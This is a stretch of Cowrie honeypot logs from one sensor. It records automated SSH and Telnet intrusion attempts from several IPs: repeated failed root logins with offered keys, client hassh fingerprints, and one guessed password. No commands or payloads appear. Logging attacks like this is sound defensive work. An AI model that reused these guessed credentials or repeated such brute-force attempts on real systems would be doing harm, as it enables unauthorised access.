{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:f1:40:53:5c:3d:ee:d5:d2:50:54:68:68:5c:fd:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5jsAWF1nBw8ODy9z8+zJb7BTMr4D/e7q4x4y25DsZ5PD0E/+YReXsZij5rLC8OBT9WHOpPDDYZt9Ad681ZGOdbDwO7X2R9S5hfE3RO7EPEYUWxd+IAHnBr4m5cZYqmbtUNbT5G/7/UTODQDaV1qystLf6MqacbS19g7t/BXH9gja/4zVcm2fgdHs68fQ0gFgiqQbLmA+HWbDP7+HNcbBsSVd2uv3KQM+7c271QWygsS0JewNRUViBLnuTmNs924c8jHsPDA48EZHxBmXAoJZHhVHadDkZUsd0Y2NtZMRBct73uy7oDY6BQ8A+FfoWYKk0F4sVTszp2SyKSv1HGBM/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:45.716816Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:83:54:d0:09:5f:c1:42:cf:ef:f8:81:3e:c9:2d:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz3TMJHKixXNtWkVydwIMJMm0cdiCumQ09iFFAmW1IS+5v5/lTI7IypKSC/XewhsyzVgc+LaxQFmN1hLYwcfp2gAhGtBmMR+ghxCwH/ncb+zdhpuE9z0yDBpWTVO2dhPXpAbh3unsZVHFP5FynAlB1Y3ao9+FDvR2517EUSFCFlWmeOfCsnQoMu40dZP2XYrpPOE5gBngvBdhHMJ9xsfmBHWk3IT8vxCqbGTRe2tM6OmO0BEgwDvFjnUEKIHvF8RQDZHUDN3mjpzN27Mh2n2jQl1cij9zX2RXtOTL8tZfE7Bc52lTT9SoRYajKRbhnQj50DXWn+GrMHpmdTFj74IFBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:83:54:d0:09:5f:c1:42:cf:ef:f8:81:3e:c9:2d:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:45.844821Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:83:54:d0:09:5f:c1:42:cf:ef:f8:81:3e:c9:2d:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz3TMJHKixXNtWkVydwIMJMm0cdiCumQ09iFFAmW1IS+5v5/lTI7IypKSC/XewhsyzVgc+LaxQFmN1hLYwcfp2gAhGtBmMR+ghxCwH/ncb+zdhpuE9z0yDBpWTVO2dhPXpAbh3unsZVHFP5FynAlB1Y3ao9+FDvR2517EUSFCFlWmeOfCsnQoMu40dZP2XYrpPOE5gBngvBdhHMJ9xsfmBHWk3IT8vxCqbGTRe2tM6OmO0BEgwDvFjnUEKIHvF8RQDZHUDN3mjpzN27Mh2n2jQl1cij9zX2RXtOTL8tZfE7Bc52lTT9SoRYajKRbhnQj50DXWn+GrMHpmdTFj74IFBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:45.849212Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:56:e5:a2:37:08:44:20:5c:3b:ff:1d:b1:d2:cd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfGKd8kKOkQcEg7DsHGSKe/eNapEJF3xw2uyseTHpEH720ecXUKts+Jt4ghBGt2GzEFpn468XtnsJvv+Pc8W1HkZj/IHdfdb2pSieXhMceJRfcqTBrf/MNUWw8BOMgLhnt/mbQSLoca4rs6Z9SOqdKDU8g+ahtURg35o+A5JUpUWKRDYTdDhsgb2dMekThWtQOACXQ3GOZRn9/BromP5Bv0pEHf0N5EZIsgBFQ+FvtpYdXWMz8V4c7FOcvwygdQAJNZ1m0Bbgcb283swd2+eabji/Dpou78gE+SGF7dkChQPvjThECkVhOn2MAr5uUYhUo5fvPxIKv3gXNXx2kJbL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:56:e5:a2:37:08:44:20:5c:3b:ff:1d:b1:d2:cd:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:45.978386Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:56:e5:a2:37:08:44:20:5c:3b:ff:1d:b1:d2:cd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLfGKd8kKOkQcEg7DsHGSKe/eNapEJF3xw2uyseTHpEH720ecXUKts+Jt4ghBGt2GzEFpn468XtnsJvv+Pc8W1HkZj/IHdfdb2pSieXhMceJRfcqTBrf/MNUWw8BOMgLhnt/mbQSLoca4rs6Z9SOqdKDU8g+ahtURg35o+A5JUpUWKRDYTdDhsgb2dMekThWtQOACXQ3GOZRn9/BromP5Bv0pEHf0N5EZIsgBFQ+FvtpYdXWMz8V4c7FOcvwygdQAJNZ1m0Bbgcb283swd2+eabji/Dpou78gE+SGF7dkChQPvjThECkVhOn2MAr5uUYhUo5fvPxIKv3gXNXx2kJbL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:45.982301Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:63:99:ed:f9:41:53:3e:d8:a8:73:22:4c:f2:35:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFlKFb05wRXkAzIe0UIrbJd02huEwQV9Izpsy1PGoY6d","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 77:63:99:ed:f9:41:53:3e:d8:a8:73:22:4c:f2:35:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:46.115184Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:63:99:ed:f9:41:53:3e:d8:a8:73:22:4c:f2:35:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFlKFb05wRXkAzIe0UIrbJd02huEwQV9Izpsy1PGoY6d","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:46.119694Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:75:ae:e6:10:78:c1:19:71:45:1c:94:2e:84:0d:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy0NwEjmxotKa7GgRFLbpzBrfpPGlQLcDEPwLSPTixU1+f3iE9r/xVJLS4bToX3Qcmv1wLuUGSiWyfxRy31bXka6HY7LFG8EEDt2Ugu0b3n6vzTVSfIY4iklL8BxJaUMVbwAgNP6ArpTvEwg1pXMe8jUV1o9IurYWpFVcq8RvmORfp4mBdYoN7U6Vo6FnmEo7qXvv1N7xVcgk2Dkd4H2a7ACKQGiU+0l6yELQlU79EoTqSFjpD94sldH4VOWsDku0rENfHlHxRyuJ1GHFnqIf72F0fp09WvhOfmce70gUCqF4kbTE+CGrOYKU/og9jryXTCylvZWALhCAL+a/Gk26/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:75:ae:e6:10:78:c1:19:71:45:1c:94:2e:84:0d:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:46.247156Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:75:ae:e6:10:78:c1:19:71:45:1c:94:2e:84:0d:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy0NwEjmxotKa7GgRFLbpzBrfpPGlQLcDEPwLSPTixU1+f3iE9r/xVJLS4bToX3Qcmv1wLuUGSiWyfxRy31bXka6HY7LFG8EEDt2Ugu0b3n6vzTVSfIY4iklL8BxJaUMVbwAgNP6ArpTvEwg1pXMe8jUV1o9IurYWpFVcq8RvmORfp4mBdYoN7U6Vo6FnmEo7qXvv1N7xVcgk2Dkd4H2a7ACKQGiU+0l6yELQlU79EoTqSFjpD94sldH4VOWsDku0rENfHlHxRyuJ1GHFnqIf72F0fp09WvhOfmce70gUCqF4kbTE+CGrOYKU/og9jryXTCylvZWALhCAL+a/Gk26/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:46.251366Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:46.383458Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":41516,"dst_ip":"10.17.0.5","dst_port":22,"session":"0390d2273833","protocol":"ssh","message":"New connection: 103.77.175.15:41516 (10.17.0.5:22) [session: 0390d2273833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:47.430886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:47.435656Z","src_ip":"103.77.175.15","session":"0390d2273833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:47.695379Z","src_ip":"103.77.175.15","session":"0390d2273833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop12","message":"login attempt [root/qwertyuiop12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:48.475049Z","src_ip":"103.77.175.15","session":"0390d2273833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:49.735895Z","src_ip":"103.77.175.15","session":"0390d2273833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35450,"dst_ip":"10.17.0.5","dst_port":23,"session":"060a38f6a907","protocol":"telnet","message":"New connection: 192.119.13.58:35450 (10.17.0.5:23) [session: 060a38f6a907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:52.674875Z"}
{"eventid":"cowrie.session.closed","duration":41.64487147331238,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:22.051571Z","src_ip":"192.119.13.58","session":"227580e9fe5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.09905290603638,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:32.773949Z","src_ip":"192.119.13.58","session":"060a38f6a907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.34.214","src_port":41808,"dst_ip":"10.17.0.5","dst_port":22,"session":"69786101a3c4","protocol":"ssh","message":"New connection: 141.95.34.214:41808 (10.17.0.5:22) [session: 69786101a3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.182203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.189387Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.279543Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:68:59:96:d2:c1:ad:b6:fb:e7:7e:2a:a5:6e:b9:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM7frQMg6BrK/6xAYUhbELxAtcO1/mYch1RKeNwl9pO3CBtCCmE/12qD/rs6O3mX7X+9RQ1HWbBX3KSYSLmdjpPiBiIZHopDyCmfhkOTICw77QkFZ6+PjyOs4IKcVDBEnfjpgT4sa7I1uXV2y6M3xwEWxza0y29ODoT9QHJnvaQuGVbGpbGCxvSreINda/js9A7tMqZsxBgkq1K91WEDIJtpwDmE9GOqtmlbhms/yVSxl/Jp0shIX2elB1LArKB2e+Nh+ky/ED4Zqf6hd6M+lprhnPjJv4sMs3AqpBZkiyonDTcklAv22+o3+fwpdhcIuNybRBw3Ce310aNapRSirPnC8eK5vFb8VkHPgAgi6APWBFsDyZ8DlN1zzo8A19Tf/4xthhvBzUMoE8k2aiSpRjsQ8PcFXjjcFHzVCPNVBMX0wZw1DokptSavg/gZNYGFTI0n1Y6ZUuigx9hhH/K8R3dMm5EmTHGd5oVPEMrAw0MzI0frVrhbHS1UFF70CjWUM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:68:59:96:d2:c1:ad:b6:fb:e7:7e:2a:a5:6e:b9:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.697150Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:68:59:96:d2:c1:ad:b6:fb:e7:7e:2a:a5:6e:b9:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM7frQMg6BrK/6xAYUhbELxAtcO1/mYch1RKeNwl9pO3CBtCCmE/12qD/rs6O3mX7X+9RQ1HWbBX3KSYSLmdjpPiBiIZHopDyCmfhkOTICw77QkFZ6+PjyOs4IKcVDBEnfjpgT4sa7I1uXV2y6M3xwEWxza0y29ODoT9QHJnvaQuGVbGpbGCxvSreINda/js9A7tMqZsxBgkq1K91WEDIJtpwDmE9GOqtmlbhms/yVSxl/Jp0shIX2elB1LArKB2e+Nh+ky/ED4Zqf6hd6M+lprhnPjJv4sMs3AqpBZkiyonDTcklAv22+o3+fwpdhcIuNybRBw3Ce310aNapRSirPnC8eK5vFb8VkHPgAgi6APWBFsDyZ8DlN1zzo8A19Tf/4xthhvBzUMoE8k2aiSpRjsQ8PcFXjjcFHzVCPNVBMX0wZw1DokptSavg/gZNYGFTI0n1Y6ZUuigx9hhH/K8R3dMm5EmTHGd5oVPEMrAw0MzI0frVrhbHS1UFF70CjWUM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.704054Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:5c:5b:9e:ac:74:d7:db:67:60:35:c8:b4:b1:6c:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCW6/hSqDA36em0fpVfY06+Errh0ybZhAZttfj5ut/lX57eedBPX8UABDhABpIFUhsrkloYCmJfMCoDX/dtfsCxEEizkYseT8Vy5uXzHlC0duIUZOLXcz7CnMFI5KRkcf3PJSmsKOl1ciIpP6eWvNa3v6rwzYOVFAQjkR5FNG9AAW7dXg0xGypIZcac3vo/C95Wimrb+CBIEJscu6mmbX1T7xzW/O900WdOIEx32GIq//uE5dKrCoaZJtS7zax1FfUw0qUKFyS4jDFiWMqb/wvwt+laxLYpziZmIEqZQO4e5lIzu7hh8PRGV3qeMJjbsb4xpgatf/oRwwZq088zh46VS3Io+z061P7zKhyCq4ZFfQ8VG/FC1iJr0ovgGffhRRhrRJCE/IQwCcWM6uMF2W8+XEV99N06x321nIhWOLKRtlKsAKyY05YB6SSUHIdsPxJptrROOou0HjT+EArUVTflmTV7dk+hlLIHHpe1BXss84xDH/zuA9FmJS4klnECgTs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:5c:5b:9e:ac:74:d7:db:67:60:35:c8:b4:b1:6c:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.793965Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:5c:5b:9e:ac:74:d7:db:67:60:35:c8:b4:b1:6c:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCW6/hSqDA36em0fpVfY06+Errh0ybZhAZttfj5ut/lX57eedBPX8UABDhABpIFUhsrkloYCmJfMCoDX/dtfsCxEEizkYseT8Vy5uXzHlC0duIUZOLXcz7CnMFI5KRkcf3PJSmsKOl1ciIpP6eWvNa3v6rwzYOVFAQjkR5FNG9AAW7dXg0xGypIZcac3vo/C95Wimrb+CBIEJscu6mmbX1T7xzW/O900WdOIEx32GIq//uE5dKrCoaZJtS7zax1FfUw0qUKFyS4jDFiWMqb/wvwt+laxLYpziZmIEqZQO4e5lIzu7hh8PRGV3qeMJjbsb4xpgatf/oRwwZq088zh46VS3Io+z061P7zKhyCq4ZFfQ8VG/FC1iJr0ovgGffhRRhrRJCE/IQwCcWM6uMF2W8+XEV99N06x321nIhWOLKRtlKsAKyY05YB6SSUHIdsPxJptrROOou0HjT+EArUVTflmTV7dk+hlLIHHpe1BXss84xDH/zuA9FmJS4klnECgTs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.798130Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:74:ce:ef:f2:f7:7d:cb:89:54:ed:c4:fd:c9:b2:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/O2GLUZte7qkpJp0k2My7Dp3v4HkToXcTWUvgR9b5yKweeU/onUhIMFCBakrYXN8wEdxq396FQuyCQNFtN8XZz9cz9CHOBa3ShfwXD7nMYzfQ36Tls5/k9AIueupx+J3JUuFH3bltA054CattWFIISf/3HXmndc58cKP3EXfRAiG39RbpVvtLRpuFMOaouGNazB4Iog26tQymMK1cL1jUKOi3C7h9y01XPYq1YnGMnEQyjIVBuXhrsdBz3Tofjuaa+JIPmsEdXXMOLnoRZIdv01SpnQnWoHKvPH+rTfjjDKNLYn3HLIJ/zKi3SrJh1RgM+DDzc6u+wS4a2cs6Kpu20wGPWX2GhxuOee7cCTAllqq1M2LiJPMxXQISsXzAinX4eO+VgWmqjSS5PpspCw3kw2Er/sKDiJfEXKxt9dhy/g9dKobP7KaQTlDmI/I44ckmb7cSmW20BNWXduFhvxIHn8TMkP2SPaYpba+gQFOzj7d33+/hKygppOTnsaXD8SyrCWj5w3u4lTYr0zIKUPpgTmDfHVv55LzMD4oQ8nqVldg02jFqmBNJrwWJHYTmOC8+Hx4XqXBZznzJibIRYZqiFcZB5NcaU0JxZ/o9QhbaTu9YC87JoTKyQ0zhQcdmcIpyXCEPYGYNjNgh6EU+QEBlphsiCDG4mlrkMvtCA+cyFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:74:ce:ef:f2:f7:7d:cb:89:54:ed:c4:fd:c9:b2:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.890141Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:74:ce:ef:f2:f7:7d:cb:89:54:ed:c4:fd:c9:b2:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/O2GLUZte7qkpJp0k2My7Dp3v4HkToXcTWUvgR9b5yKweeU/onUhIMFCBakrYXN8wEdxq396FQuyCQNFtN8XZz9cz9CHOBa3ShfwXD7nMYzfQ36Tls5/k9AIueupx+J3JUuFH3bltA054CattWFIISf/3HXmndc58cKP3EXfRAiG39RbpVvtLRpuFMOaouGNazB4Iog26tQymMK1cL1jUKOi3C7h9y01XPYq1YnGMnEQyjIVBuXhrsdBz3Tofjuaa+JIPmsEdXXMOLnoRZIdv01SpnQnWoHKvPH+rTfjjDKNLYn3HLIJ/zKi3SrJh1RgM+DDzc6u+wS4a2cs6Kpu20wGPWX2GhxuOee7cCTAllqq1M2LiJPMxXQISsXzAinX4eO+VgWmqjSS5PpspCw3kw2Er/sKDiJfEXKxt9dhy/g9dKobP7KaQTlDmI/I44ckmb7cSmW20BNWXduFhvxIHn8TMkP2SPaYpba+gQFOzj7d33+/hKygppOTnsaXD8SyrCWj5w3u4lTYr0zIKUPpgTmDfHVv55LzMD4oQ8nqVldg02jFqmBNJrwWJHYTmOC8+Hx4XqXBZznzJibIRYZqiFcZB5NcaU0JxZ/o9QhbaTu9YC87JoTKyQ0zhQcdmcIpyXCEPYGYNjNgh6EU+QEBlphsiCDG4mlrkMvtCA+cyFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.894364Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:d8:a6:28:08:9b:d8:61:c0:0d:74:f7:60:54:11:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgfrmSfXHEH82NQ1+YK1YhkKu9Jh/Vas68OfWXN31vUIyI8alALYZXWYwYwlrfNS5vH7M36wEn+vFuQ4rGyARvpww64FcbmQGIxVDEfLvq4d6AoGXdKq8ZJ9khWBZMKzSpG74epdp2w/pNv1hMZcENVQrVk5uf0VGHP8vFeaIQyC2tklS91I8KBjfOVlNn0qsvnrlJ9TPA5vEHH+a5iMMK7MV3Sxvl/DWpDCF3RE8g0jPsF6WyCp5jac9qYR9um/DJi5F5eQebPnniF2tw7yKk9BCp44s79j5pKhDnKsofkUc1Muim8IKbbylVMh2S9zZLiUSJN7RwqMRLTRaoKeJ0Ba2ALB/W1IvoCzRX+JzV+y33B9NQ4WiRNo8nxNPqRN2jkZ3FJ5PzVCVZD8kVbb62L+IvDagSuk2+q2cdTMKVQxDmsPp2hGxWl/4owErQszIBsPri2gCm8zBJtfG5j7X2SwvRqWJuG9mXVb6Bb0u81DuG8c+CoVV4ZFV5PYRRG8sOJLtCkIKcxKrwE5FLcVCaEFWF01OaVffNKWn/1wFntA//b/cn1J+oT7xSnU501a+jMyoPwwwXzjFaI1zjg75uWpaZopKU+JqUoYJHoxMzhvQ4oNlZ5RTOasnLJhC9mf3xVcEEM3KftRtk/Y+c6kjqFQGef6XMELa+MPy4nv4ZJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:d8:a6:28:08:9b:d8:61:c0:0d:74:f7:60:54:11:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.983830Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
